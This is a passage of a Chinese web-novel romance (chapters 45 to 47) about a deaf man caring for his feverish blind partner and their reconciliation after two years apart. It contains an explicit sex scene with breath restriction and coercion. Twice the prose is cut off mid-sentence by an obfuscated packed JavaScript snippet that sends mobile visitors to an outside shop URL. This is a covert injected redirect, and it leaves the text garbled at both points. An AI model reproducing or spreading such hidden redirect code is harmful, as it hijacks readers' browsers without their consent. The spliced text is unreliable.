乔辽关上门,说道:“对不起……回来晚了。” 这种做错事的感觉是怎么回事,不管了,道歉就对了。 易秋光没搭理他,乔辽坐到床边探了探这人的额温,还是烫着。 乔辽从袋子里拿出退烧贴,准备贴上去的时候,他伸手点了点易秋光额头:“我要给你贴退烧贴了,贴在额头上,可能有点冰凉,你忍一下。” “嗯,”易秋光的声音听着有气无力的,“贴吧,我都快熟了。” “你药喝了吗?”乔辽帮他贴上退烧贴,叹出一口气说道,“体温怎么就是降不下来啊。” “喝了啊,”估计是被退烧贴冰了一下,易秋光“嘶”了声,把被子裹得更紧,“不知道,可能是我体质太好了吧。” “你是不是说反了……是体质不太好才对,”乔辽又拿出体温计,打开盖子后甩了甩,他把手伸进被窝,碰上易秋光的胳膊,“别动,量个体温,抬胳膊。” “没动,老实着呢。”易秋光吸了吸鼻子,但鼻子应该是堵着了,弄得他难受得直叹气。 “等会儿量好了我来看,你闭着眼睛先睡,”乔辽帮他掖了掖被子,站起身说道,“我去收一下东西,要把耳蜗和助听器放进干燥盒了。” “要放六个小时?我记错没,”问完这句,易秋光又微抬起脑袋问他,“你有什么东西要收?” 乔辽一边打开旅行包一边说道:“我带了换洗衣服,还给你带了两套家居服,就是你上次在我家穿的那两套,我直接放衣柜里行吗?” “行啊,放吧。”易秋光说完又把脑袋往被子里缩了缩。 “嗯,”乔辽很快就把衣服全都放进了衣柜,内裤和袜子还是放在旅行包里,他把旅行包放进一个空柜子,接着对易秋光说,“那我现在要摘下助听器和耳蜗了,你要是想和我说话,可以拍拍我,或者给我发消息。” “好。”易秋光说。 乔辽把电子干燥盒放到桌上,插上电,接着摘下助听器和耳蜗,放进盒子里。 他的世界,将会开始六个小时的静音。 乔辽看了眼时间,现在可以拿出体温计了,他刚转身,正准备往易秋光边上走,突然看见这人拿起枕边的手机开始扒拉,好像是在定闹钟。 明明说好了要在家里好好休息的,乔辽也不知道这人定个闹钟是要干什么。 他坐到床边,把手伸进被子里,在易秋光胳膊上轻拍两下。 易秋光明白他的意思,很快就把体温计拿了出来,递了出去。 乔辽接过体温计看了眼,这人还是在发烧,他拿出手机给易秋光发消息:你想不想喝水? 床上躺着的人拿起手机扒拉两下,然后摇摇头,回复道:你去洗个澡,然后来睡觉,洗漱用品和家居服我都放在浴室了。 这才过午饭点没多久,乔辽确实是有点困,毕竟一夜没睡,但易秋光又还病着,乔辽也不可能睡得踏实。 乔辽回了个“好”。 消息发出去后,他看见易秋光拿起手机扒拉一下,然后就把手机放到枕边,扯了扯被子翻了个身,应该是要睡觉了。 乔辽站起身,把体温计放到另一边的床头柜上,然后从旅行包里拿出一条内裤。 易秋光应该……还是挺在乎他的。 当乔辽站在浴室里的时候,这就是他脑子里出现的第一个想法。 浴室里放着一双拖鞋,还有一套家居服,这套衣服上面还放着一条毛巾,当然了,还有一次性内裤…… 乔辽紧了紧自己手里的内裤,在心里想着,对不起了秋光,我这次准备挺足的,自带了。 他今天洗了个头发,走出浴室的时候,正好看见吹风机在洗手池边放着,旁边还放着一把新牙刷。 乔辽先是用毛巾擦了擦头发,擦了个半干,接着去阳台洗内裤,洗衣服。 阳台洗衣池里放着几件易秋光的衣服,乔辽想着,正好一起洗了。 冬天的衣服其实穿不了多脏,最该洗的估计就是袖口位置。 阳台洗衣池边放着一把刷子,易秋光应该也是用这个刷的衣服。 乔辽以前从不让易秋光干这个,在洪城那间出租屋里时,他就喜欢看着易秋光坐在椅子上,或者是躺在床上,什么打扫啊,洗衣服做饭的,这种事情,他来做就好了。 易秋光嘛,只要在边上待着就行。 但现在不一样了,易秋光确实什么都能干,也干得很不错。 乔辽把易秋光换下来的衣服翻来覆去看了几遍,愣是没找到什么脏的地方,就连袖口位置也挺干净。 莫名地,他总有一种自己不被需要的感觉。 他把这几件衣服手搓一遍,然后放进洗衣机,按下快洗。 做完这些,他回到浴室门口,站在洗手池边刷了个牙。 紧接着,他又去客厅坐着,拿出今天在医院开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140578|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药,把说明书都看了一遍,他偏头看了眼电子钟,在心里算了算时间,要是等会儿易秋光的烧还是退不下来,那就得再喝一次退烧药了。 最后,乔辽把吹风机拿到客厅,开着最低档位吹了吹头发,走得离卧室远点,噪声也能小些。 吹完头发,洗衣机也洗好了衣服,他把衣服全都晾好,拿上吹风机放回原位。 乔辽估计着,易秋光现在也该睡熟了,就是不知道烧退了没。 想到这里,他放轻步子走到卧室门口,打开门。 床上的人依旧侧着身睡,乔辽走到床边放轻动作躺上床。 也不知道是不是因为听不见,明明他都是慢慢来的,却还是发出了挺大的动静。 易秋光皱了皱眉,摸索着握住乔辽的手,带着这只手放上额头。 这人的手是凉的,但他的额头依旧烫着,估计还是没有退烧。 乔辽侧起身子,从床头柜上拿了一个新的退烧贴给易秋光换上。 下一秒,身边人张开怀抱,大概是想要乔辽抱着他。 乔辽往边上凑了凑,单手搂着易秋光抱进怀里,另一只手则是握着易秋光的手,不停地轻搓轻捏着。 可他搓了好一会儿,易秋光的手还是凉着。 乔辽在心里算了算时间,再次服用退烧药要等六个小时,正好电子干燥盒在那个时候也结束干燥了,要是喝了第二次退烧药,易秋光还是没好的话,那就带着这人去医院一趟。 怀里的人还在睡着,有时候会动一下,也不知道是做了梦,还是身体太难受。 每当这种时候,乔辽就会轻轻拍拍他的背,也不知道过了多久,他好像也睡了一觉。 迷迷糊糊中,他感觉到怀里的人动了动,然后把他推开,睁开眼后,乔辽就看见易秋光坐了起来,开始脱衣服,枕边放着的手机也亮着屏。 屏幕显示着闹钟提醒。 乔辽连忙也坐了起来,他想给易秋光穿上衣服,但他刚把衣服拿起来,易秋光就指了指枕边的手机,接着就往桌上指。 顺着易秋光指着的方向看过去,乔辽看见干燥盒的灯灭了,这说明干燥已经结束。 他放下衣服,掀开被子下了床,把耳蜗和助听器从干燥盒里拿出来,重新戴上。 乔辽听见的第一个声音就是闹钟声,他扭头去看,易秋光还是坐在那儿,衣服没穿,被子也没盖上。 “你突然脱衣服干什么,”乔辽坐到床边,拿起衣服又要给易秋光穿,“现在感觉怎么样,还难受吗?” “难受,”易秋光关掉闹钟,把手机放到一边,“你也把衣服脱了,然后过来我这里。” 虽然不知道为什么,但乔辽还是听话地脱了衣服,他靠近床边,正准备再探一探易秋光的额温,但这人突然伸手拉住他,接着就把他拽到床上。 “你知道我有多难受吗,”易秋光掀开被子,接着又用手去碰乔辽的嘴,“我现在就让你知道,我究竟有多难受。” 易秋光轻按着乔辽的唇,接着又按了按他的牙齿。 “这颗牙有点尖,”易秋光的手离开他的唇,紧接着,他抚摸两下乔辽侧脸,抬手按在乔辽头上,“别弄疼我。” 45. 缺氧 乔辽有好几次都想抬头去看易秋光,但这人按头的力气实在是太大,他只要抬头一下,很快就会被再次按下去。 易秋光也不说话,乔辽能听见的,只有这人发出的喘息声。 这还是他第一次听见易秋光发出这种声音。 以前那些年,乔辽都是用手去触碰的,他会把手放在易秋光喉结位置,在这人每次喘息时,乔辽的手也会感觉到微麻的振动。 这种触碰是被乔辽记在心里的,但他更想在这种时候再次感受一下。 触碰加声音……乔辽感觉自己整个人都快要烧起来。 可他刚伸出手,就被易秋光拽住了。 易秋光带着这只手往后,最后,这只手落在了乔辽想不到的地方。 “自己来,反正我也看不见,”易秋光往前靠了点,他亲了亲乔辽的脖子,带着他的手动了动,“这样你会疼吗?” 乔辽刚准备说话,易秋光立马说道:“不疼就不用说话了,疼就‘嗯’一声。” 乔辽没说话,又过了一会儿,易秋光放开手,朝后靠上床头,那只手也再次按上乔辽的头。 “手不要停,”易秋光又把他的头往下按了一下,“乔辽,从现在开始,好好听我的话。” 乔辽很听话,手没停,牙齿也没弄疼易秋光。 他“嗯”了声,在易秋光下一次的喘息声后,乔辽听见这人说:“你为什么不认我?” 乔辽想要抬头,易秋光猛地按了一下他的头,接着沉着声音问道:“你不听话?” “怎么了,为什么要动,难受?是哪里难受,”易秋光摸索着碰上他的嘴角,“是这里?” 乔辽偏了偏头,在他掌心轻轻摇头。 易秋光笑了笑,接着往前靠,把下巴搁在乔辽肩膀上,摸索着去握他的胳膊:“那是这里?” 乔辽没有回应。 “沉默吗,”易秋光收回手,靠上床头后,温柔地揉了揉乔辽的头,“那我继续说了。” 易秋光的手还是放在乔辽头上,几秒后,易秋光开口说道:“我对你太熟了,真的太熟悉了,我们在一起那么多年,我们走路的步子都是一样的,我每次只要听见脚步声就能认出你,还有你身上的气味,我说不出来那种味道,只觉得很好闻。乔辽,我现在走路已经敢大步往前了,但你还是没变,我不可能忘记以前的自己,更不可能忘记你,你的一切都被我记得好好的,除了你的样子……乔辽啊,我他妈就差把你刻进骨子里了,但我要怎么刻啊?把自己划出一条大口子,流着血忍着疼去刻吗?可你不要我的这两年,我哪天不是这么过的,我哪天不疼?那你呢,乔辽,你把我们的感情当什么?你把我们一起走过的那些年当什么?” 易秋光根本就没打算让他开口,反而是手上的力度一直在增加。 “我们见面的那天,我一下子就认出你了,但你却不肯认我,我当时问你是不是故听老师,你竟然还敢承认,乔辽,我当时真他妈想打死你,”说到这里,易秋光突然笑了声,“我试了好多办法,我想着,有可能你就喜欢温柔的,那我就温柔给你看,等把你骗回来了,我他妈再打你。” 说完这些话,易秋光沉默几秒,声音也变得更小。 “我用了什么办法呢,我让同事给你送伞,我以为你会知道的,那个让同事送伞的人是我,但你好像并不知道,然后啊,我带着你去了我家,你还记得那辆自行车吗,我总觉得,我就是那辆自行车,我就应该待在江城,这样才有被你找到的可能,我每天都在等着,在你出现的那一天,我就知道,我赌对了,”易秋光深呼吸一口气,接着说道,“之后,你说你来点外卖,你知道我有多高兴吗,我以为你一直都在关心我,一直都在关注着我,我以为……你知道我住在哪里,但后来我就不高兴了,因为外卖员打电话来了,一切都是我想太多,人啊,看不见的人,真的是很会想象。但我很快又把自己安慰好了,你不知道我家在哪里也挺好,那就说明,你不是不想找我,而是真的不知道我在哪儿。” 乔辽心里难受得不行,但易秋光的话还没说完。 他按着乔辽头的速度越来越快,情绪明显也变了不少。 易秋光好像生气了。 “我试探过你多少次,你是一次都听不懂我的意思吗,你写小说的时候反应没这么慢啊,怎么放到现实里就不行了,这是为什么?”易秋光的语气听着挺失望的,“因为你不爱我,乔辽,你他妈根本就不爱我,上次在电影院也是,你想亲就亲,你问过我吗,你不问就算了,亲完了你就跟没事儿人一样,你把我当什么了?我问你,你到底把我当什么!不爱就是不爱,既然你不爱我,那你一开始就不该招惹我。” “我——”乔辽猛地抬头。 他想说,我爱你,我当然爱你,我怎么可能不爱你。 但下一秒,易秋光是彻底生气了。 “乔辽,你到底知不知道‘听话’两个字该怎么写?”易秋光这次没再按着他的头,而是握着乔辽的手,带着这人转了身。 易秋光捂住他的鼻子和嘴,两个人之间也没了距离。 “疼吗,我想慢点来的,但我忍了两年了,疼就咬我吧,我不还手,”易秋光摸索着撩开他的衣服,碰上他的肚子,轻轻按了按,“记住这个地方,现在,已经在这里了。” 乔辽没咬,疼也还好。 就是易秋光捂住他的鼻子和嘴,不让他喘气,乔辽总觉得大脑有些发晕。 大概是有些缺氧。 “我说过,我应该和你印象里挺不一样的,你现在能了解我了吗,为了得到我想要的,我什么都能做,”易秋光的速度变快了些,他又按了按乔辽的肚子,“嗯……现在是在这里,乔辽,你还记得吗,有一次我摔了一下,那次是我故意摔的,就是为了让你带我回家,就连吃饭的地方都是我精挑细选的,离你家近,你不想带我回去也不行,要是你真不愿意,那我就再摔一次,我他妈就不信你不心疼。” 乔辽现在除了心疼就是大脑发晕,情绪就跟控制不住一样,他想要大口喘气,眼泪却跟着一起流了出来。 “哭了?不要哭,你表现很好,做得很棒,我夸夸你好不好,你别哭了……你以前也爱哭,但你总喜欢背着我哭,可我听见了,每次都听见了,”易秋光的速度开始越来越快,“乔辽,你告诉我,现在……在哪里?你牵着我的手,告诉我在哪里。” 乔辽整个人都是晕的,浑身的力气都快没了。 还没等他握住易秋光的手,身后人又开了口:“乔辽,你知道吗,我恨死你了。你是怎么 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人的胜负心理在这刻爆发了。 在这种时候,易秋光又会求着他慢一点,乔辽牵起易秋光的手给自己擦眼泪,接着亲了亲他的眼睛:“秋光,我真的很爱你,以前爱,现在也爱,你不要怀疑我,别恨我,别不要我。” “我……”易秋光说话都有些困难,他大口喘着气,再次说道,“看你表现。” “看什么表现,”乔辽和他额头相抵,“现在的表现,还是以后?” “所有。”易秋光说。 两年多了,乔辽也不是没在夜里想起过易秋光,但现在,易秋光就在他身边。 所有的爱意和想念无需再克制。 易秋光颤着声音说:“乔辽,你——” 你什么?你慢一点? “我爱你,秋光,你的声音真好听,”乔辽吻了上去,“好好感受一下我的爱,然后,用你的声音告诉我,你还爱我。” 在表达爱意时,乔辽一直都在哭着,他偏头靠在易秋光肩膀上哭,有时候还会搂着这人的脖子,去咬一下秋光的喉结。 当这种爱意结束表达时,乔辽还是在哭着,易秋光已经没了力气,他踹了乔辽一脚,说道:“我还在生病。” 乔辽探了探他的额温,又牵起这人的手,放到自己脸上擦了擦眼泪,说道:“已经退烧了。” “医生说了,我还会反复发烧的,”易秋光又踹了他一脚,接着就用那只擦眼泪的手,轻拍两下乔辽侧脸,“我要是真的又发烧了,那你就等着挨打吧。” 说完这句话,易秋光拿起衣服下了床,乔辽连忙问他:“你要去哪儿?” “我去洗澡,”易秋光指着自己身上说,“都是你弄的,我没弄你身上吧。” “没……你别洗了,我给你接盆水过来,把身上擦一擦,”乔辽说,“我怕你等会儿洗完澡又发烧。” “你应该是怕挨打,”易秋光也没坚持,他坐回床边,说道,“那你去接水吧,水盆就放在洗手池底下的柜子里,不要接太烫的水。” “好,那我去接水了,”乔辽笑着说,“你别乱动,乖乖坐着等我。” 46. 秋季 接点温水要不了多少时间,等乔辽端着一盆水回到卧室时,易秋光还是坐在床边,但这人脸上表情显得挺愁的。 “怎么了,”乔辽连忙把水盆放到一边,“开始不舒服了吗?你哪里不舒服?” “我后悔了。”易秋光叹出一口气。 乔辽心里一紧,试探着问他:“后悔什么?” “后悔刚才没发挥好,还是骂你骂轻了,”易秋光在床边老实坐着,让乔辽帮他擦着身上,“我是不是以前对你太温柔了?你就总觉得我没有脾气啊。” “也不温柔,”乔辽小声说,“你总打我。” “毕竟……我们不在一个福利院,你根本就不了解我,”易秋光顿了顿,又说道,“我们之间的沟通太有限了,我一直都以为,你就喜欢我装出来的那种样子,温柔又懂事,但我也有忍不了的时候。你是不是……不喜欢我现在这样?” 乔辽并不觉得现在的易秋光不好,他反而觉得,这样的秋光比以前更真实,更可爱。 “没,我挺喜欢你这样的,好可爱,”乔辽拧干毛巾,擦了擦易秋光侧腰,“擦干净了,穿衣服吧。” “不穿,我要睡觉,”易秋光说完就往床上一躺,盖上被子把自己裹得紧紧的,“我专门定的闹钟,就等你戴上耳蜗和助听器之后马上收拾你,现在收拾累了,我睡了。” 乔辽看了眼时间,说道:“那你睡一会儿,我等会儿喊你起来吃晚饭,我出去买点菜,你想吃什么?” “吃外卖,我嘴里没什么味道,就连闻味道都闻不出来,”易秋光拍了拍边上的枕头,“别忙活了,你也来睡。” 乔辽犹豫一下,但他不是在犹豫睡觉这件事,而是在想,易秋光这一觉要是睡到晚上该怎么办,现在时间也够了,是不是应该先把药喝了再睡。 但易秋光不知道他在想什么,这人明显想偏了:“你干嘛不过来,怕我又干点什么?放心,不做。” “不是——”乔辽话都没说完。 易秋光又说:“只睡觉,但睡醒之后就不好说了。” “……你吃得消吗,身体第一,我又不会跑。”乔辽躺到他边上,扯了扯被子盖上。 “吃得消,”易秋光说,“两年多没收拾你,我肯定要多收拾你几次。” “我跑不掉,”乔辽把这人搂进怀里,在他眼睛上亲了亲,“我也不会跑,慢慢收拾我吧,你现在最重要的,是要快点好起来。” “你说了不算,我想什么时候收拾你就什么时候收拾,我想怎么收拾就怎么收拾,”易秋光用膝盖往他腹部顶了一下,“还有,我还在恨你,你别觉得我们和好了,没有的事。” 怎么还睡了一觉翻脸不认人呢…… 乔辽也没说什么,既然易秋光生气了,那就顺一顺他的毛,不要和他对着干就好了。 “那我就重新追你一遍,希望你能早点答应我,”乔辽笑着说,“睡吧,我爱你,秋光。” 这一觉两个人都睡得不错,但乔辽还是被怀里的人烫醒了。 易秋光又开始发烧,甚至比上午还要烧得厉害。 乔辽连忙拿来退烧药给易秋光喝,接着又给这人贴上退烧贴,易秋光睡得迷迷糊糊的,有好几次都想要推开乔辽,这起床气啊……真是挺厉害的。 现在已经到了吃晚饭的点,乔辽问易秋光想不想吃什么,就算是吃点粥也行,好歹垫垫肚子,但这人摇摇头,过了好一会儿才说:“要喝水,拿瓶矿泉水就行,在厨房。” 大半瓶水下肚,易秋光并没有好一点,乔辽看着他这样又着急,最后还是去煮了点白粥,他想着还是炒两个菜,要是秋光等会儿又好点了,胃口也变好了,想要吃点该怎么办。 现在出去买菜已经太晚了,点外卖买食材又太慢,乔辽准备去冰箱看看有什么菜。 但当他打开冰箱的那一刻,看见的只有一瓶酸奶。 乔辽关上冰箱门,在手机上下单了一些食材,预约了明天上午的配送,接着,他去厨房煮上粥。 回到卧室的时候,易秋光还在睡着,乔辽就在他边上陪着,时不时去探一下额温。 早知道就不让易秋光瞎折腾了,流那么多汗,能不复烧才怪。 想到这里,乔辽恨不得打自己一顿,要是下次再有这种情况,他绝对不会再听易秋光的。 不行就是不行,养病才是最重要的事。 身边人的呼吸又变重了些,乔辽连忙拿出体温计给他量体温,在这期间,乔辽不停地用手去探额温,有时候还会和易秋光脸贴脸,或是额头轻碰。 乔辽只觉得很烫很烫,但他没办法判断易秋光现在到底烧到多少度。 体温计被拿出来的时候,乔辽只看一眼就瞬间慌了。 这人体温都快要四十度了。 乔辽也不管易秋光的起床气了,他连忙拿上衣服给易秋光穿上,然后给自己换了一套衣服,再给助听器和耳蜗换上电池。 弄完这些,他坐到床边轻轻拍了拍易秋光的胳膊:“我带你去医院,你现在体温太高了,退烧药根本不管用。” 易秋光没说话,就连呼吸都显得吃力,乔辽着急得不行,他赶紧去门口换好鞋,刚把易秋光的鞋拿到手上,准备去给这人穿上时,卧室里传出了呕吐声。 回到卧室时,乔辽看见的就是一脸不安的易秋光。 “我是不是吐在床上了?”易秋光坐在那里没敢动,“我没想吐的,但我真的好难受……我不舒服,浑身都难受。” “我知道,我们去医院,没事的,很快就没事了,”乔辽走到床边,把被子往边上扯了点,接着就给易秋光穿上鞋,围上围巾,“稍微等我一下,我把被子上面用水冲一下,然后放进洗衣机洗。” 易秋光“嗯”了声,低着头坐在床边,一动不动。 乔辽不敢耽搁,他快速拆下被套,去阳台一通忙活。 忙好之后,他回到卧室背上易秋光,走到门口拿上伞,出了门就开始叫车。 乔辽说:“难受就给我说,别硬撑。” 易秋光又是一声“嗯”,这声音太小了,听得乔辽越来越着急,好在叫的车来得快,乔辽一上车就给易秋光挂了一个急诊。 这一路上,他一直把易秋光搂在怀里,在易秋光发出难受的喘气时,乔辽就会安慰着说:“我们很快就能到医院了,你等会儿就不会难受了。” 这种安慰当然没用,到了医院之后,易秋光也没有好多少,乔辽心里着急得不行,直到这人输上液了,乔辽心里还是发慌。 这个时间的急诊,人还是挺多的,易秋光躺在角落的一张病床上,乔辽就坐在边上,心疼地看着他。 急诊室里挺吵的,脚步声和哭声混合在一起,全都是家属的无助和病人的痛苦,时不时还会有监护仪发出的“滴滴”声。 易秋光的眉头一直皱着,他突然动了动手,像是在找什么。 “怎么了?”乔辽握住易秋光的手,往前凑近了些,这里太吵了,他担心自己会听不清易秋光说的话。 “我们什么时候回家?”易秋光大概是有些迷糊,语气中也带上了哭腔,“你是乔辽吧……我想回家。” “我是乔辽,”乔辽捏了捏他的手,轻声说道,“我们在医院输液,等一会儿好不好,等输完液就可以回家了。” 易秋光问他:“还要多久?” “有三瓶药水,估计还要一会儿。”乔辽帮他掖了掖被子,接着在他额头亲了一下。 易秋光的额头还是烫着,这人说话都带着闷:“还要一会儿是多久?” “我也说不准,你再睡一会儿吧,我就在你边上陪着,哪儿都不去,”乔辽摸了摸秋光的脸,哄着他说,“听话,好好睡一觉。” “我不想睡了,我想回家,”易秋光哭了起来,“你带我回家吧,我不喜欢这里,我害怕,乔辽……你带我回去好不好?” “我会带你回家的,但不是现在,你生病了,高烧退不下去,我希望你能快点好起来,那样就不会难受了,”乔辽帮他擦了擦眼泪,又在他眼睛上亲了一下,“我们秋光最听话,对不对。” 易秋光不说话了,就是一个劲地哭,乔辽看着心里也难过,除了擦眼泪就是在这人脸上亲了又亲。 最后得到的,就是易秋光抬起手,朝他嘴上打过来的一巴掌。 “我不喜欢这里。”易秋光还是在哭着。 乔辽摸了摸他的手,说道:“我知道。” “我以前就不喜欢这里,我不喜欢……”易秋光越哭越厉害,乔辽根本就哄不住。 最后这人哭得睡着了,乔辽的心也跟着揪成一团,输完液的时候,易秋光的体温终于下去了些,但还是在烧着。 乔辽背着他出了医院,用一只手兜着易秋光屁股,另一只手按着输液贴。 易秋光撑着伞,靠在他肩膀上,用脑袋蹭了蹭乔辽的脸:“我们现在是要回家吗?我已经没那么难受了,但我肚子好饿。” “嗯,我们现在回家,”乔辽微偏着头,用脑袋轻碰一下易秋光的脑袋,“我煮了粥,现在肯定已经煮好了,回去就能喝。” 易秋光“嗯”了声,问他:“我们要坐车回去吗?” “对,”乔辽停下步子,看了眼输液贴的位置,现在已经没有出血了,他拿出手机说道,“我现在叫车。” “走回去吧,我不想坐车,太闷了,会晕,”易秋光偏头又蹭了蹭乔辽的脸,“不坐车了,好不好?” “好,那我走快点,”反正医院离易秋光家很近,现在也没什么风,只有雪还在下着,“回去之后你先喝点粥,等我换好被套,你就去床上躺着休息,工作室那边能再请两天假吗,你现在这样……我不太放心。” “到时候再说吧,我不想耽误工作,”易秋光沉默一会儿,他偏了偏手中的伞,似乎是在感受着什么,“这是下的什么,雨夹雪吗?” 乔辽说:“没下雨了,现在下的是雪。” “我不喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140580|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下雪,下雪的时候会找不到盲道,就算有好心人带着我站上去也没用,我踩在上面感觉不出来……”易秋光的声音好小,在这种安静的夜里却显得特别清晰,“你知道吗,盲道还滑,我去年冬天在盲道上摔了好几次,还有辆电瓶车从我边上过去,速度好快,直接把我盲杖压坏了。” “那你……后来是怎么回去的?”乔辽带着他走到树下,再有一段路就要到家了。 “我那天走到大半夜才回去,没盲杖找不到路,手机还正好没电了,我也听不了导航,”易秋光提起这件事的语气,听着还挺无所谓的,“我就在那条路上一直跟鬼打墙一样绕圈,边上还有人在笑,但那人就是不愿意过来帮我一下。” “以后我接送你,”乔辽顿了顿,又说,“别让捕山月来了。” 易秋光叹出一口气,无奈地笑着:“你就这么不喜欢他啊。” “嗯,不喜欢。”乔辽也说得直接。 前面就要走到易秋光家,乔辽真的走得很快,他也没想到,走了这么长一段路,还用这么快的步子,竟然不会觉得累。 打开家门的那一刻,乔辽突然想到,可能是因为秋光太瘦了,所以他才不会觉得累。 乔辽把易秋光放到餐桌前坐着,然后给他盛来一碗粥,易秋光喝粥的时候,他就去卧室换被套。 出门的时候走得急,空调也忘了关,卧室里还是暖和的。 乔辽快速套好被套,走去客厅看易秋光。 这人根本就没吃多少,最多也就吃了半碗,估计还是身体不太舒服。 听见乔辽走过来的声音后,易秋光放下勺子,抬头对着他笑:“吃不下了,我想去床上躺会儿。” 易秋光这个笑,乔辽看得心里直发酸,他牵着秋光回了卧室,给这人换上家居服。 乔辽也换了衣服,在床上抱着身边人。 “要睡会儿吗,”乔辽伸手探了探他的额温,“还是有点烧,你要多休息。” “不睡了,睡不着,”易秋光沉默了好一会儿,说道,“乔辽,你别那么讨厌捕山月,他真的不坏,我认识他很多年了,在洪城的时候我就认识他了,捕山月帮了我很多。你也知道,我脾气不太好,以前在福利院的时候,我就没什么朋友,你有郭宝卓,但我什么都没有,郭宝卓和我关系好,也只是因为你和我在一起而已。捕山月应该算是我朋友吧,我一直都把他当朋友,之前……我在洪城碰上……他帮了我很多,我一直都很感谢他。” 易秋光的话只说了一半,说到最后还总沉默一会儿再继续,这人似乎还想接着说些什么,但他张了张嘴,最终选择沉默。 “其实,我今天来找你的时候,在路上遇到了佟舟,还和他打了一架,佟舟说了一些我不知道的事,还有那支录音笔……你还记得吗,就是郭宝卓给我的那个,录音笔是郭宝卓收拾家里的时候突然找到的,里面录到了你的声音,你问我是不是不爱你,问我是不是很恨你,”乔辽沉默了一会儿,把怀里的人抱得更紧,“这两年,我一直以为是你不要我了,那是因为在两年前,就是说好去江城的那天,我在马路边等出租车,准备去福利院找你,那天没什么空车,我都打算走着去福利院了,走到半路的时候,我看见你了,你和佟舟站在一起,你还朝着佟舟伸出了手。” “那你怎么不过来找我,要是你当时过来找我就好了,”易秋光深呼吸一口气,“你说,这个世界是不是还挺奇怪的,我又没招谁惹谁,怎么就会碰上佟舟这个神经病,他怎么还会来江城,他来江城是要干什么啊……” 易秋光的情绪起伏挺大的,乔辽抱着他亲了亲,轻声问道:“之前在洪城的时候……到底发生了什么,能说给我听吗?” “我一直都想说给你听,我有好多好多事情想说给你听,但我不知道应该从哪里开始说,”易秋光想了想,说道,“你知道吗,我小时候被领养过一次,后来被退养了,我不是个多听话的小孩儿,我还看不见,说白了,我就是个麻烦。那个时候的我还以为,我再也不会有家了,但你出现了,你给了我一个家,一个有着我们的家。” 这件事,乔辽根本就不知道,他握住易秋光的手,说道:“我还在,我们的家也还在,真的……真的对不起,秋光。” “你来江城的时候没带上我,但我还是在洪城等了你一段时间,后来,我觉得,我还是应该来江城,至少在这里,遇见你的几率会变大,”易秋光慢慢说着,“等我来到江城,这里已经是春天了,三月初,你知道我刚到江城的时候,心里在想什么吗?” 乔辽问他:“在想什么?” “我想着,春天应该就是这样,先是闻到夜晚春的味道,后是听见路人说花开了,你大概会牵着我的手在公园里散步,带着我穿过小路,路上全都是开满花的树。我想过很久这样的日子,还想与你一起经历更多的四季,想让你陪着我一起度过很多的秋季,”易秋光的声音颤抖着,好像是要哭起来,“我想……你能别离开我,别离开秋光。” 47. 声音 易秋光一直都觉得,乔辽是不会离开他的。 他们确实没什么钱,但生活过得还是挺好的,乔辽处处都会照顾他,虽说有些时候确实气人,但易秋光能忍,毕竟他们沟通不方便。 要是真碰上忍不了的时候,大不了就动手。 反正乔辽会还手,谁也不便宜谁。 易秋光也不怕和乔辽打一架,他总认为,这只是属于他们的沟通方式。 他们是永远都会在一起的,怎么打都打不散。 但这个“永远”会好远好远,远到易秋光都开始焦虑。 但这种焦虑不是来自他和乔辽的感情问题,而是来自看不见的未来。 和乔辽在一起的这些年里,易秋光换过几次工作,有的是工资实在太低,还有的是和同事没办法处好关系。 倒也不是易秋光总和同事闹矛盾,而是他对同事太温柔了。 易秋光的性格并不是温柔的,这种温柔只是他的一种保护色。 对待陌生的人,易秋光一直都是以微笑对待,他主动与他人拉开距离,客客气气的,可有些事情不是他不想招惹就能避免的。 有的同事会因为他的好态度而阴阳怪气,还有的同事会因为他的好脾气而变本加厉。 出现这种情况,易秋光只能选择辞职离开,至于辞职的理由,易秋光只需要随便编一个,骗骗郭宝卓就好了,反正这人会转达给乔辽。 至于乔辽信不信,那易秋光就不管了。 他们没办法沟通,不信也没办法。 辞职是肯定要辞的,要不然,他就再也装不下去了,易秋光每天上班都想一拳一个同事,迟早会控制不住动手。 在外人面前装温柔真的太累了。 但在乔辽面前装,就又是另一种感觉。 易秋光确实捉摸不透,乔辽到底是喜欢什么样的人。 喜欢他装出来的温柔人设吗,还是喜欢他忍不住时动手的暴脾气。 易秋光不知道,他也没办法去问乔辽,他能做的,就是维持这份喜欢,继续在乔辽面前装下去。 温柔不好装,装久了还挺累的,但只要乔辽喜欢,他可以装一辈子,就是挺无奈的,他除了要在乔辽面前装,还得在郭宝卓面前装,谁让乔辽和郭宝卓关系好呢。 郭宝卓还是个能说话的,这人可以告状啊,要是这人给乔辽说,你知道吗,易秋光的脾气其实可差了。 只要这一句话说出来,那不就完蛋了吗。 易秋光认了,装就装吧,反正他和郭宝卓的相处也不太多,装一下也没多累,只要能留住乔辽就行。 只要乔辽不离开他,易秋光愿意收起脾气,藏起自己最真实的样子。 其实有时候,他也想过,乔辽会不会喜欢他原本的样子呢,脾气虽说有点大,小情绪也不少,但会不会在乔辽心里,这样的自己也是能被喜欢的。 乔辽会不会觉得,这样的易秋光还是挺可爱的。 “可爱”这个词,还是他在福利院的时候被老师这样夸过,那个时候的易秋光开心得不行。 他好想让乔辽也这样夸夸他。 但下一秒,这种想法又被易秋光在心里画上一把大大的叉。 